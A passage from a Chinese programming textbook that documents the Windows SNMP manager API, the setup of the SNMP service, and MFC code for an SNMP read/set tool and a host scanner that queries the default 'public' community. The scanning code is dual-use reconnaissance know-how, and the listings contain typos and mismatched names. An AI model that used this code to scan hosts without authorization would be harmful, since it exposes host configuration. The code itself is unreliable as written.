union结构中的成员用哪一个变量完全取决于asnType的取值。其各个变量的意义如下：

❑number：当asnType的值为ASN_INTEGER时，使用此成员进行读取或设置操作。

❑string：当asnType的值为ASN_OCTETSTRING或ASN_RFC1213_DISPSTRING时，使用此成员进行读取或设置操作。

❑object：当asnType的值为ASN_OBJECTIDENTIFIER时，使用此成员进行读取或设置操作。

❑sequence：当asnType的值为ASN_SEQUENCE时，使用此成员进行读取或设置操作。

❑address：当asnType的值为ASN_RFC1155_IPADDRESS时，使用此成员进行读取或设置操作。

❑counter：当asnType的值为ASN_RFC1155_COUNTER时，使用此成员进行读取或设置操作。

❑gauge：当asnType的值为ASN_RFC1155_GAUGE时，使用此成员进行读取或设置操作。

❑ticks：当asnType的值为ASN_RFC1155_TIMETICKS时，使用此成员进行读取或设置操作。

❑arbitrary：当asnType的值为ASN_RFC1155_OPAQUE时，使用此成员进行读取或设置操作。

很显然AsnAny结构的作用就是使用一个通用的数据结构类型来表示任何一种数据类型，这样，就不必为每一个类型都定义一个过程或函数，而只需要通过该结构即可。

5.2.1.3　RFC1157VarBind结构

RFC1157VarBind结构的定义如下：



typedef AsnObjectIdentifier AsnObjectName;

typedef AsnAny AsnObjectSyntax;

typedef struct vb{

AsnObjectName name;

AsnObjectSyntax value;

}RFC1157VarBind;



结构成员如下：

❑name：表明成员的类型是一个OID对象的名称。

❑value：该成员是name中OID对象所对应的值，由于该值可能是任何合法的类型，所以该值的类型定义为上面AsnAny类型。

同样，AsnAny结构的作用是表示任何一个类型，而RFC1157VarBind结构作用就是用来表示OID对象，该结构可以表示任何类型的OID对象。

5.2.1.4　RFC1157VarBindList结构

RFC1157VarBindList结构的定义如下：



typedef struct{

RFC1157VarBind*list;

UINT len;

}RFC1157VarBindList;



其中，两个成员的意义也很明显：

❑list：一个指向OID对象结构RFC1157VarBind的指针，该指针也可以看作是一个数组，里边存放着若干个OID对象。

❑len：list数组中OID对象的个数。注意，这里的len不是指list指向的OID对象所占的字节数，而是OID的个数。

该结构是一个OID对象不定长的数组，当使用GET、GETNEXT或SET时，一次性可以访问多个OID，但实际使用中，具体的个数受OID的长度、所访问的类型等多种因素限制，所以并不建议一次访问多个。


5.2.2　管理程序API

SNMP支持的API分为管理程序API和代理API，其中管理程序API提供了访问代理程序所需要的各个函数。这些函数的解释如表5.3所示。
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下面，分别介绍这些函数。

5.2.2.1　SnmpMgrOpen函数



LPSNMP_MGR_SESSION SnmpMgrOpen(

IN LPSTR lpAgentAddress,//目的SNMP代理的名称或地址

IN LPSTR lpAgentCommunity,//目的SNMP代理的共同体

IN INT nTimeOut,//以毫秒为单位的通信超时

IN INT nRetries)//通过超时后尝试的次数



SnmpMgrOpen函数主要是完成Socket通信的初始化工作，以及与代理服务器的连接工作，这是所有后续工作的一个前提。

返回值：如果调用成功，则返回一个指向LPSNMP_MGR_SESSION结构的指针，该结构被API内部使用，不能被管理程序修改。如果调用失败，则返回NULL。此时使用GetLastError功能可以获得更多的对错误信息的解释。该值如果是SNMP_MEM_ALLOC_ERROR则表示在分配内存的时候出错。

其中LPSNMP_MGR_SESSION结构是API内部使用的一个结构，用户在使用的时候，可以将其作为一个句柄（Handle）使用，而不必关注其成员函数。并且，该函数在后面还要继续使用。

参数如下：

❑lpAgentAddress：设备的地址，严格地讲，应该是设备代理程序的地址（因为有的复杂设备因为通信的要求，会有多个网口，并提供多个IP地址，但其中只有一个网口或地址提供SNMP的服务）。该地址可以是IP地址，也可以是主机名。因为SNMP只认可默认的端口161，所以在函数中，不需要设定端口号。

❑lpAgentCommunity：共同体名，该共同体名由设备代理程序朝代，默认值为public。

❑nTimeOut：在指定时间内，如果连接不成功，则认为本次连接失败（由于SNMP是UDP协议，其实这里的连接是接不到对方的回复）。单位是毫秒。

❑nRetries：指明尝试次数。

SnmpMgrOpen函数会在nTimeOut*nRetries毫秒的时间内与lpAgentAddress所指定的lpAgentCommunity共同体进行连接，如果不成功则失败。在广域网中，nTimeOut和nRetries的值都需要尽量的大，否则会因为传输时间较长而失败；在局域网中，则不需要设定太大值，因为值很大的话，当所要扫描的设备不存在时，会花费大量等待时间。

5.2.2.2　SnmpMgrClose函数



BOOL SnmpMgrClose(

IN LPSNMP_MGR_SESSION session)//SNMP会话的指针



SnmpMgrClose函数关闭由SnmpMgrOpen函数打开的句柄。在函数体内，主要完成的是通知代理程序的断开，以及Socket通信的关闭等操作。

返回值：如果调用成功，则返回TRUE；否则返回FALSE。并且通过GetLastError函数可以获得更多的对错误信息的解释。

参数：session，指向由该函数所创建的LPSNMP_MGR_SESSION结构变量。

5.2.2.3　SnmpMgrRequest函数



SNMPAPI SnmpMgrRequest(

IN LPSNMP_MGR_SESSION session,//SNMP会话的指针

IN BYTE requestType,//Get、GetNext或Set

IN OUT RFC1157VarBindList*variableBindings,//变量的列表

OUT AsnInteger*errorStatus,//错误状态

OUT AsnInteger*errorIndex)//错误的索引



该函数完成OID的查询，这是所有函数中最重要的函数，通过该操作可以完成GET、GETNEXT、SET的命令。

返回值：如果调用成功，则返回TRUE。如果失败，则返回FALSE，这时可以通过调用GetLastError()函数获得对错误更多的解释。这些值主要有：
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参数如下：

❑Session：指向一个LPSNMP_MGR_SESSION的结构，该结构是由SnmpMgrOpen函数打开的句柄。

❑requestType：SNMP操作类型，有如下类型：
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❑variableBindings：OID变量列表。作为输入参数的时候，要将OID填入该列表，作为输出参数的时候，所查询的OID值也在列表中。该函数看似简单，但实际使用中，需要注意的地方较多。比如由于各个OID变量的长度是变长的，则OID列表variableBindings也肯定是变长的。所以在调用前要给OID值列表配置足够长的内存，并且这些内存通常都是动态申请的。同样，在调用结束后，SnmpMgrRequest本身也会根据实际的需要调整variableBindings内存的长度以适应读取后的长度。并且在结束以后，要释放退出后的内存，否则，长时间的运行会造成内存泄漏。另外，variableBindings结构的成员函数中，len是一个UINT类型的类型，在Windows XP操作系统中可以表示0～4294967295的整数，但实际上，列表中的OID值的个数受到很多限制，如PDU的总长度，因此实际的OID值需要通过测试后才能确定。

❑errorStatus：返回一个错误的状态，该错误状态码如下：
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❑errorIndex：当OID值列表中某一个OID值出错时，由errorIndex指向第一个出错的OID值的序号，该序号由0开始。一般来说，如果某一个OID值出错，则该序号之后的OID值就不要再处理了。

5.2.2.4　SnmpMgrStrToOid函数



BOOL SnmpMgrStrToOid(

IN LPSTR string,//要转换的OID串

OUT AsnObjectIdentifier*oid)//OID内部的表现形式



该函数将OID值由字符串转为OID的AsnObjectIdentifier类型。

返回值：如果调用成功，则返回TRUE；否则返回FALSE。

参数如下：

❑string：指向一个OID值的字符串。

❑oid：AsnObjectIdentifier型的变量，保存由string转换后的OID值。

5.2.2.5　SnmpMgrOidToStr函数



BOOL SnmpMgrOidToStr(

OUT AsnObjectIdentifier oid,//要转换的OID内部表现形式

IN LPSTR string)//OID串的表现形式



该函数将OID的AsnObjectIdentifier类型的值转换为字符串型OID值。

返回值和参数参见5.2.2.4节。

5.2.2.6　SnmpMgrTrapListen函数



BOOL SnmpMgrTrapListen(

OUT HANDLE*phTrapAvailable)//TRAP事件的句柄



该函数通知代理程序，可以向本机发送Trap消息。

返回值：如果调用成功，则返回TRUE；如果失败，则返回FALSE，这时可以通过调用GetLastError()函数获得对错误更多的解释。这些值主要有：
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参数：phTrapAvailable：返回一个新Trap的句柄。phTrapAvailable被用于接受基于事件驱动的Trap查询。除了这种方式外还可以不考虑这种方式，而是采用SnmpMgrGetTrap周期性地查询报警值。或者，在线程中可以通过WaitForSingleObject等待Trap事件的发生，当事件发生时，线程可以通过ResetEvent恢复互斥量，然后重复地调用SnmpMgrGetTrap函数，直到SnmpMgrGetTrap函数返回值为FALSE。

5.2.2.7　SnmpMgrGetTrap函数



BOOL SnmpMgrGetTrap(

OUT AsnObjectIdentifier*enterprise,//企业生成的编号

OUT AsnInteger*genericTrap,//通用TRAP类型

OUT AsnInteger*specificTrap,//企业内部指定的类型

OUT AsnTimeticks*timeStamp,//时间戳

OUT RFC1157VarBindList*variableBindings)//变量列表



该函数返回管理程序调用Trap后还没接收到的那些尚未处理的Trap数据。

返回值：如果参数中返回有Trap函数，则返回TRUE。由于一次可能有多个Trap，所以该函数应该被重复调用，直到返回值为FALSE，并且调用GetLastError函数时，查到的原因是SNMP_MGMTAPI_NOTRAPS，否则说明可能还有Trap，仍可通过SnmpMgrGetTrap读取。GetLastError()读到的错误码如下：

[image: ]


参数如下：

❑enterprise：指针变量，指向产生Trap的OID值。

❑genericTrap：指针变量，指向一个从下面列表中产生的通用Trap。
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❑specificTrap：指向特定的Trap。

❑timeStamp：指向接收的时间戳。

❑variableBindings：指向变量列表。

5.2.2.8　SnmpUtilOidCpy函数



SNMPAPI SnmpUtilOidCpy(

OUT AsnObjectIdentifier*DestObjId,//目的OID

IN AsnObjectIdentifier*SrcObjId//源OID

);



该函数完成从SrcObjId到DestObjId复制功能，并且完成后者内存的申请，但无论是前者还是后者，使用结束后，都需要释放内存。

返回值参见5.2.2.4节。

参数如下：

❑DestObjId：指向AsnObjectIdentifier类型变量的一个指针。

❑SrcObjId：指向AsnObjectIdentifier类型变量用于复制。

5.2.2.9　SnmpUtilOidAppend函数



SNMPAPI SnmpUtilOidAppend(

IN OUT AsnObjectIdentifier*DestObjId,//目的OID

IN AsnObjectIdentifier*SrcObjId//源OID

);



该函数追加SrcObjId到DestObjId上，并且会自动调整内存的大小。

返回值参见5.2.2.4节。

参数如下：

❑DestObjId：指向AsnObjectIdentifier类型变量的一个指针。

❑SrcObjId：指向AsnObjectIdentifier类型变量用于复制。

仍然需要强调，无论是哪一个AsnObjectIdentifier类型的变量，由于其内存都是动态申请的，因此在使用结束后，要用SnmpUtilOidFree来完成释放，否则会造成内存泄漏。

5.2.2.10　SnmpUtilOidNCmp函数



int SnmpUtilOidNCmp(

IN AsnObjectIdentifier*A,//第一个OID

IN AsnObjectIdentifier*B,//第二个OID

IN UINT Len//比较最大长度

);



该函数可以比较指定长度的两个OID值字符串A和B的子串。注意，OID值的子串的长度Len，所指的不是从OID值字符串左边数的Len个字母，而是左数Len个子项。同时，该函数比较的是OID值字符串的各个子项，而不是字符串本身。例如前面已说明，采用子项名字符串和采用对应的数据，二者是等价的，因此在比较OID字符串".iso.org.dod.internet"和其对应的数字序号字符串“.1.3.6.1”，如果仅从字符串的角度看，二者肯定是不相等的，但在用SnmpUtilOidNCmp进行比较的时候，二者是相等。

返回值：如果两个OID值字符串左边指定个数的项都相等，返回0。如果A大于B，返回一个正值；如果A小于，则返回一个负值。

参数如下：

❑A、B：指向一个AsnObjectIdentifier类型的OID值的指针。

❑Len：要比较的子项个数。

通过此函数可以判断两个值的相对位置关系，从而判断下一步是使用GET，还是使用GETNEXT。

5.2.2.11　SnmpUtilOidCmp函数



int SnmpUtilOidCmp(

IN AsnObjectIdentifier*A,//第一个OID

IN AsnObjectIdentifier*B,//第二个OID

);



该函数可以比较指定长度的两个OID值字符串A和B。注意，该函数比较的是OID值字符串的各个子项，而不是字符串本身。

例子、返回值及参数A、B的解释，可参见上一小节。同样，通过此函数可以判断两个值的相对位置关系，从而判断下一步是使用GET，还是使用GETNEXT。

5.2.2.12　SnmpUtilOidFree函数



void SnmpUtilOidFree(

IN OUT AsnObjectIdentifier*Obj//要释放的OID值

);



该函数释放由指向AsnObjectIdentifier类型的变量obj所申请的内存。

此函数没有返回值。参数obj指向一个AsnObjectIdentifier结构的变量。

5.2.2.13　SnmpUtilVarBindListCpy函数



SNMPAPI SnmpUtilVarBindListCpy(

RFC1157VarBindList*dst,//目的变量列表

RFC1157VarBindList*src//源变量列表

);



该函数完成从src到dst的复制，二者都是RFC1157VarBindList类型的变量，都是SnmpUtilVarBind数组类型的指针。

返回值参见5.2.2.4节。

参数：dst、src，指向一个RFC1157VarBindList类型指针。

仍然需要强调，凡是RFC1157VarBindList类型的变量，由于其内存都是动态申请的，因此在使用结束后，要用SnmpUtilVarBindListFree来完成释放，否则会造成内存泄漏。

5.2.2.14　SnmpUtilVarBindCpy函数



SNMPAPI SnmpUtilVarBindCpy(

RFC1157VarBind*dst,//目的变量列表

RFC1157VarBind*src//源变量列表

);



该函数完成从src到dst的复制，二者都是RFC1157VarBind类型的变量。

返回值参见5.2.2.4节。

参数：dst、src，指向一个RFC1157VarBind类型指针。

仍然需要强调，凡是RFC1157VarBind类型的变量，由于其内存都是动态申请的，因此在使用结束后，要用SnmpUtilVarBindFree来完成释放，否则会造成内存泄漏。

5.2.2.15　SnmpUtilVarBindListFree函数



void SnmpUtilVarBindListFree(

RFC1157VarBindList*VarBindList

);



该函数释放之前申请RFC1157VarBindList结构的内存。

该函数无返回值。参数VarBindList指向一个RFC1157VarBindList结构。

5.2.2.16　SnmpUtilVarBindFree函数



void SnmpUtilVarBindFree(

RFC1157VarBind*VarBind

);



该函数释放之前申请RFC1157VarBind结构的内存。

该函数无返回值。参数VarBindList指向一个RFC1157VarBind结构。

5.2.2.17　SnmpUtilPrintAsnAny函数



void SnmpUtilPrintAsnAny(

IN AsnAny*Any

);



该函数将AsnAny的数据按实际的类型输入到标准输出平台（通常如果没有做重定向的话，就是指屏幕）上。该函数通常只在调试和开发时使用。它并不能将数据输出到管理程序指定的表单中，只能打印到调试的窗口中。这个函数打印的格式取决于AsnAny的格式。

该函数无返回值。参数Any指要打印的AsnAny结构的数据。


5.3　SNMP安装和验证

如前所述，计算机作为一个设计精良的复杂设备，当然也可以采用SNMP进行管理。只是考虑到使用计算机的人并不一定希望自己的计算机被别人管理，所以SNMP并不是默认安装功能，也就是说如果用户想使自己的计算机符合该协议，就必须手动地安装。

Windows系统的操作界面因版本不同而不同，但总体上来说，基本上都比较类似，故下面以主流的Windows XP（Service Packet3）为例进行说明。

要安装SNMP协议，首先要找一张与所安装的Windows操作系统版本相同的系统安装盘。将光盘放入光驱中，正常情况下，应该会弹出如图5.5所示的界面。
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图　5.5　Windows XP安装引导界面

选择“安装可选的Windows组件”选项，即进入下一步。打开“Windows组件向导”，如图5.6所示。
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图　5.6　Windows XP安装“管理和监视工具”组件界面

该向导也可以直接从“控制面板”中的“添加或删除程序”的“添加或删除Windows组件”功能进入。在该对话框中，选择“管理和监视工具”选项，双击该项，还可以看到更详细的内容，如图5.7所示。
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图　5.7　Windows XP选择SNMP组件

“WMI SNMP提供程序”是通过WMI（Microsoft Windows Management Instrumentation）技术访问SNMP信息，WMI技术是一种支持CIM、托管对象格式（MOF）和通用编程接口语法的管理基础结构。MOF语法以人和计算机可读的形式来定义CIM架构和内容。WMI提供了一组功能强大的服务，其中包括基于查询的信息检索和事件通知。这些服务和管理数据通过组件对象模型（COM）编程接口进行访问。WMI脚本接口还提供脚本支持。这个子组件不是必须的，用户可以根据需要考虑是否安装此子组件。

其中“简单网络管理协议”就是我们所要安装的程序，该程序分为两部分，一部分是MIB程序，负责到系统中去采集具体的数值，并与具体的OID相对应；另一部分是SNMP Agent代理程序，该程序负责与外界进行通信，当外界的程序、设备通过SNMP协议访问该代理时，该代理会询问监控程序所采集到的数值，并把数值回送给访问的设备。

需要说明的是：上述的安装只是相当于设备端的安装，也就是说，通过上述安装的主机变成了一个可以通过SNMP协议管理的“设备”。至于如何通过SNMP协议读取和设置这个“设备”的值，则需要另有一个程序。该程序可以放在网络上的另一个主机上，也可以放在本主机上，而这个程序，不是Windows操作系统提供的，同时也正是后面需要编写的。

安装好SNMP协议后，当前会有一个称为SNMP的服务在运行。验证的方式有两种，一种方式是通过按Ctrl+Alt+Del，然后从任务管理器的进程选项卡中，可以找到snmp.exe的程序在运行。另一种方式是右击桌面“我的电脑”，在“管理”菜单项中，选择“服务”，在右边服务列表中，应该可以找到"SNMP Service"和"SNMP Trap Service"，其中前者负责监视网络设备的活动并且向网络控制台工作站汇报；后者负责接收由本地或远程SNMP代理程序产生的陷阱。并且"SNMP Service"应该处于启动状态。

此时的SNMP是按默认的配置，要改变这些配置，则按上面验证SNMP协议的第二种方式，在“服务”列表中，找到"SNMP Service"服务，双击该服务项，则会弹出“SNMP Service的属性（本地计算机）”对话框，如图5.8所示。
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图　5.8　SNMP Service的属性对话框，“代理”选项卡

“常规”、“登录”、“恢复”以及“依存关系”这几个选项卡等同于其他服务的对应选项卡，而不是SNMP本身特有的，所以此处不多说明。“代理”选项卡所标明的是“联系人”和“位置”的定制，该项值只是设定联系人和位置，以告诉从外界访问者下面的服务很重要，因为这里设置了将哪些服务提供给对方，只有这里设置的，对方主机通过SNMP协议才能读取。其中各项的意义分别是：

❑物理：指定计算机是否管理物理设备，如硬盘分区。

❑应用程序：指定计算机是否使用任何通过TCP/IP发送数据的程序。

❑数据链接和子网：指定此计算机是否管理TCP/IP子网或数据链接，如网桥。

❑Internet：指定此计算机是否充当IP网关（路由器）。

❑端对端：指定此计算机是否充当IP主机。应该经常启用此服务。

单击“陷阱”选项卡，如图5.9所示。在这里，用户可以设定陷阱（Trap）的共同体（图中称为“团体”，后同）名，还可以设定自己的共同体名，以区别管理程序在接到Trap后知道是由该代理发出的。
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图　5.9　SNMP Service的属性“陷阱”对话框

单击“安全”选项卡，如图5.10所示。
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图　5.10　SNMP Service的属性“安全”对话框

“安全”选项卡列出了当前的只读“共同体”名：public。由于此共同体名是默认的，这意味着，黑客在知道用户的主机IP以后，常常会先通过这个共同体名尝试读取此主机上的各种信息，而能读到的信息就是前面介绍“代理”选项卡中所选中的项，而那些信息即是用户主机上的绝大多数配置信息。因此，除非是要做实验，否则直接使用默认值是非常危险的。因此建议网络管理员在安装好SNMP协议以后，就将该共同体名进行修改，然后在管理程序端以修改后的共同体名来访问。

除了默认的只读共同体名之外，管理员还可以添加其他自定义的共同体名，并且可以给共同体名赋予其他的权限。如果要添加新的共同体名，则单击“按受团体名称”分组的“添加”按钮即可，每一个新的共同体名分别有团体权利和团体名称，前者分“无、通知、只读、读写、读创建”等五项，团体名称自己定义即可，需要注意的是该名称区分大小写。

除了设置共同体名之外，管理员还可以限定SNMP数据源，以防止黑客破解本机的SNMP连接。如果不做任何限制，则选择“接受来自任何主机的SNMP数据包”单选项。如果要限制，则选择“接受来自这些主机的SNMP包”单选项，然后通过单击“接受来自这些主机的SNMP包”分组的“添加”按钮输入只允许的主机地址，地址可以是主机名、IP地址、IPX地址等。


5.4　编程实例：SNMP通用读设工具

SNMP通用读设工具，顾名思义，就是一个支持SNMP协议的通用工具。作为通用工具，本程序支持了SNMP协议中的GET、GETNEXT、SET、TRAP四个主要命令，并且在程序中，尽可能多地将一些可能改变的参数展示出来，以便用户可以根据实际情况进行修改。

严格地讲，这不是一个“完整”的扫描器，因为需要设置界面上的每一个变量，全部配置好后，单击某个命令按钮，也仅仅是完成了一个参数的操作。这种需要人工不断干预的操作，不符合扫描器本身的意义。但本程序也具有一般扫描器不具备的一个优势，那就是可以通过变换参数的各种组合灵活地、试探性地执行几乎SNMP中所有复杂的操作，这将大大方便用户通过自定义各参数来适应各种环境。可以这么说，如果通过本程序不能完成的任务，则SNMP扫描器肯定也完成不了。

本程序相当于SNMP通用程序，不仅对计算机有效，而且对所有支持SNMP的设备也有效。因此，无论是什么设备，只要支持SNMP协议，都可以按下面步骤进行测试：

1）拿到该设备的“MIB库”文件，在里边找到某一个参数的OID值。并确认共同体是否为public。

2）通过其他命令（如ping命令）确认程序与设备之间的网络是通的。

3）打开本程序，输入设备的IP地址、上述参数的OID值，单击Get或GetNext命令，然后看返回值是否正确。


 5.4.1　程序主界面

根据上述分析，可以做一个界面如图5.11所示。
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图　5.11　SNMP协议通用读设工具主界面

主界面自上向下分为三部分。“命令参数”分组中，“设备IP”文本框是要进行SNMP操作的设备IP地址。Community文本框中用于输入设备的“共同体”名。Timeout就是连接的超时值，如果在局域网内，一般可以设置为1000毫秒，如果在广域网或互联网，可以设置成3秒甚至更长。“尝试次数”一般为3次。“Oid值”（用大小写差异区分两个Oid值）即是要读取的设备参数的OID值。该值可以使用数字、名称等多种方式（详见前面OID名称介绍）。单击“Get命令”按钮，则会按以上各项的所有参数组合进行操作，并将读到的结果显示到“当前命令查询结果”分组中。单击“GetNext命令”按钮，则会读取设备中当前OID的下一个OID值的结果，并将读到的结果显示到“当前命令查询结果”分组中。单击“开始Trap模式”按钮，会使设备进入到陷阱状态，当设备某个参数触发陷阱条件后，就会主动向管理者发送通知，程序会弹出对话框以显示接到的陷阱。单击“停止Trap模式”按钮就停止陷阱模式。

“当前命令查询结果”分组中，“OID名”、“Oid值”、“值类型”三个文本框用于显示命令参数分组中的查询结果，三者是关联的。“将新OID值设为当前Oid值”复选框表示的是将这里读到的“OID值”复制到“命令参数”分组“Oid值”中。当单击“GetNext命令”按钮时，由于读取到的“OID值”是所提供的“Oid值”的下一个值，则上述这种复制操作在只单击“GetNext命令”按钮的情况下就可以遍历读到一个设备所有的值，而不需要不停地填入新的OID值。单击“Set命令”按钮可以将“OID名”、“Oid值”、“值类型”三个文本框中所代表的参数进行设置，其中所设的新值在“值”文本框中。

“系统命令”分组只是用于显示每个命令的执行情况。单击“退出系统”按钮，则会在保存了界面上各参数的值后退出系统。


5.4.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为SNMPTools。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义

在StdAfx.h中定义多个文件都要用到的常量：



//最大范围常量宏。

#define MAXNUMIP 10000

#define MAXNUMLIST 200

//INI配置文件的文件名，用于保存一些常量。

#define INIFILENAME".\\MultiPing.ini"



在程序主文件MultiPingDlg.cpp的头部定义，这部分主要是该文件自己使用的一些头文件和常量：



#include＜snmp.h＞

#include＜mgmtapi.h＞

#pragma comment(lib,"snmpapi")

#pragma comment(lib,"mgmtapi")



3.程序主要代码

系统初始化操作，在初始化中，只完成m_strIP的初始化操作：



BOOL CSNMPScanerDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

m_strIP.Format("127.0.0.1");

UpdateData(FALSE);

return TRUE;

}



要读到一个OID值，这是本章中最关键的一个函数。输入参数中，strIP是要扫描的主机或设备的IP，strOid是要扫描的OID值，ucType指明是采用GET还是GETNEXT命令。这部分内容也是本例的核心代码：



CString CSNMPScanerDlg::GetValue(CString strIP,CString＆strOid,UCHAR ucType)

{

CString strRet;//用于返回值，空表示失败或读取的就是一个空值

//加入列表中

CString strTemp;

RFC1157VarBindList variableBindings;//长度+结构指针数组

variableBindings.list=NULL;//清空列表

variableBindings.len=1;

if((variableBindings.list=(RFC1157VarBind*)SNMP_realloc(variableBindings.list,

sizeof(RFC1157VarBind)*1))==NULL)

return strRet;

AsnObjectIdentifier reqObject;//一个整型数组，第一个表示长度

//将OID串转成一系列整型数组

if(!SnmpMgrStrToOid(strOid.GetBuffer(0),＆reqObject))

return strRet;

variableBindings.list[0].name=reqObject;//NOTE!structure copy

variableBindings.list[0].value.asnType=ASN_NULL;

//建立连接

LPSNMP_MGR_SESSION session;

int iTimeout=1000;

int iTryTimes=1;

if((session=SnmpMgrOpen(strIP.GetBuffer(0),"public",iTimeout,iTryTimes))==NULL)

{

SnmpUtilVarBindListFree(＆variableBindings);

return strRet;

}

//发送请求

AsnInteger errorStatus;

AsnInteger errorIndex;

BYTE requestType;

if(ucType==0)

requestType=ASN_RFC1157_GETREQUEST;

else

requestType=ASN_RFC1157_GETNEXTREQUEST;

SNMPAPI bRet=SnmpMgrRequest(session,requestType,＆variableBindings,

＆errorStatus,＆errorIndex);

if(errorStatus!=SNMP_ERRORSTATUS_NOERROR)//||(bRet==NULL))

{//有错

CString m_strComment;

switch(errorStatus)

{

case SNMP_ERRORSTATUS_TOOBIG:

m_strComment.Format("错误:第%d项参数部分内容太多。",errorIndex);break;

case SNMP_ERRORSTATUS_NOSUCHNAME:

m_strComment.Format("错误:第%d项OID名不存在。",errorIndex);break;

case SNMP_ERRORSTATUS_BADVALUE:

m_strComment.Format("错误:第%d项语法错误或值出错。",errorIndex);break;

case SNMP_ERRORSTATUS_READONLY:

m_strComment.Format("错误:第%d项所要修改的值是只读的。",

errorIndex);break;

case SNMP_ERRORSTATUS_GENERR:

m_strComment.Format("错误:第%d项读的时候，列表发生了错误。",

errorIndex);break;

default:

m_strComment.Format("错误:未定义的错误。索引%d",errorIndex);break;

}

//AfxMessageBox(m_strComment);

SnmpUtilVarBindListFree(＆variableBindings);

SnmpMgrClose(session);

return strRet;

}

//显示值

char*string=NULL;

UINT i,j;

CString strValueValue;

for(i=0;i＜(int)variableBindings.len;i++)

{

//OID名称

SnmpMgrOidToStr(＆variableBindings.list[i].name,＆string);

strOid.Format("%s",string);

if(string)

SNMP_free(string);

//OID类型和值

switch(variableBindings.list[i].value.asnType)

{

case ASN_INTEGER://m_strValueType="ASN_INTEGER";

strValueValue.Format("%d",variableBindings.list[i].value.asnValue.number);

break;

case ASN_UNSIGNED32://m_strValueType="ASN_UNSIGNED32";

strValueValue.Format("%u",variableBindings.list[i].value.asnValue.unsigned32);

break;

case ASN_COUNTER64://m_strValueType="ASN_COUNTER64";

strValueValue.Format("%d",variableBindings.list[i].value.asnValue.counter64);

break;

case ASN_OCTETSTRING://该变量值为32个字节的串

strValueValue.Format("%s",variableBindings.list[i].value.asnValue.string.stream);

strValueValue=strValueValue.Left(variableBindings.list[i].value.asnValue.string.length);

strValueValue="";

for(j=0;j＜variableBindings.list[i].value.asnValue.string.length;j++)

{

strTemp.Format("%c",variableBindings.list[i].value.asnValue.

string.stream[j+1]);

trValueValue+=strTemp;

}

m_strValueValue.Format("%s",

＆variableBindings.list[i].value.asnValue.string.stream[0]);

m_strValueType="ASN_OCTETSTRING";

break;

case ASN_BITS://m_strValueType="ASN_BITS";

strValueValue="";

for(j=0;j＜variableBindings.list[i].value.asnValue.bits.length;j++)

{

strTemp.Format("%c",variableBindings.list[i].value.asnValue.bits.stream[j]);

strValueValue+=strTemp;

}

break;

case ASN_OBJECTIDENTIFIER://m_strValueType="ASN_OBJECTIDENTIFIER";

strValueValue="";

for(j=0;j＜variableBindings.list[i].value.asnValue.object.idLength;j++)

{

strTemp.Format(".%d",variableBindings.list[i].value.asnValue.object.ids[j]);

strValueValue+=strTemp;

}

break;

case ASN_SEQUENCE://m_strValueType="ASN_SEQUENCE";

strValueValue="";

for(j=0;j＜variableBindings.list[i].value.asnValue.sequence.length;j++)

{

strTemp.Format("%c",variableBindings.list[i].value.asnValue.

sequence.stream[j]);

strValueValue+=strTemp;

}

break;

case ASN_IPADDRESS://m_strValueType="ASN_IPADDRESS";

strValueValue="";

for(j=0;j＜variableBindings.list[i].value.asnValue.address.length;j++)

{

strTemp.Format("%d.",variableBindings.list[i].value.asnValue.

address.stream[j]);

strValueValue+=strTemp;

}

break;

case ASN_COUNTER32://m_strValueType="ASN_COUNTER32";

strValueValue.Format("%d",variableBindings.list[i].value.asnValue.counter);

break;

case ASN_GAUGE32://m_strValueType="ASN_GAUGE32";

strValueValue.Format("%d",variableBindings.list[i].value.asnValue.gauge);

break;

case ASN_TIMETICKS://m_strValueType="ASN_TIMETICKS";

strValueValue.Format("%d",variableBindings.list[i].value.asnValue.ticks);

break;

case ASN_OPAQUE://m_strValueType="ASN_OPAQUE";

strValueValue="";

for(j=0;j＜variableBindings.list[i].value.asnValue.arbitrary.length;j++)

{

strTemp.Format("%d",ariableBindings.list[i].value.

asnValue.arbitrary.stream[j]);

strValueValue+=strTemp;

}

break;

default:

strValueValue="Undefined.";

//strValueType="Undefined.";

break;

}

}//end for(unsigned int i=0;i＜variableBindings.len;i++)

strRet=strValueValue;

//关闭

SnmpUtilVarBindListFree(＆variableBindings);

SnmpMgrClose(session);

return strRet;

}




5.5　编程实例：基于SNMP的主机扫描器

SNMP主机扫描器有两层意思，一层是该扫描器主要采用的是SNMP协议对对方主机进行扫描，另一层意思是对方主机必须是安装了SNMP协议的计算机或设备，之所以要强调后者，是因为支持SNMP协议的设备非常多，但安装了SNMP协议的计算机并不多。具体的安装方式见前面5.3节。

SNMP协议占用161端口，使用的是UDP协议，因此想初步验证对方是否安装了SNMP协议，可以用UDP端口扫描器扫描一下对方的161端口即可，想要验证对方的161端口是不是SNMP协议，则需要使用本扫描器了。通过扫描器，用户会惊奇地发现，扫描到的数据非常可观，几乎跟直接在所扫描主机上操作的效果差不多，可以读取大量黑客所关注的数据。


 5.5.1　程序主界面

根据上述分析，可以做一个界面如图5.12所示。
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图　5.12　SNMP协议主机扫描器

主界面自上至下分为三部分，上部分“扫描范围”分组主要是设置设备（当然这里的设备是指计算机）的IP地址，单击“扫描”按钮即可进行扫描，单击“清空列表”按钮会清空“SNMP扫描结果”分组中的所有扫描结果。“提示”分组中显示的是每一步的操作结果或状态。单击“退出系统”按钮，则会在保存了界面上各参数的值后退出系统。


5.5.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为SNMPScaner。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：

[image: ]


2.在文件的前面加入必要的声明、定义

在StdAfx.h中定义多个文件都要用到的常量：



//最大范围常量宏

#define MAXNUMIP 10000

#define MAXNUMLIST 200

//INI配置文件的文件名，用于保存一些常量

#define INIFILENAME".\\MultiPing.ini"



在程序主文件MultiPingDlg.cpp的头部定义，这部分主要是该文件自己使用的一些头文件和常量：



#include＜snmp.h＞

#include＜mgmtapi.h＞

#pragma comment(lib,"snmpapi")

#pragma comment(lib,"mgmtapi")



3.程序主要代码

系统初始化操作，在初始化中，只完成m_strIP的初始化操作：



BOOL CSNMPScanerDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

m_strIP.Format("127.0.0.1");

UpdateData(FALSE);

return TRUE;

}



